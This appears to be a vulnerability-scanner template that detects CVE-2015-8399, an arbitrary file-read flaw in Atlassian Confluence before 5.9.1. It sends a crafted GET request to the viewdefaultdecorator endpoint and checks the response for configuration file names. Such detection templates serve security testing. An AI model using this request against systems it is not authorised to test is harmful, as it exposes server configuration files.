CVE-2015-8399: Atlassian Confluence configuration files read

id: CVE-2015-8399

info:
  name: Atlassian Confluence configuration files read
  author: whynot
  severity: medium
  description: |-
    Atlassian Confluence before 5.9.1 allows remote attackers to read arbitrary files via a crafted request.
  reference:
    - https://www.elastic.co/community/security
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8399
  tags: cve,cve2015,confluence,fileread
  created: 2023/07/13

rules:
  r0:
    request:
      method: GET
      path: /spaces/viewdefaultdecorator.action?decoratorName
    expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.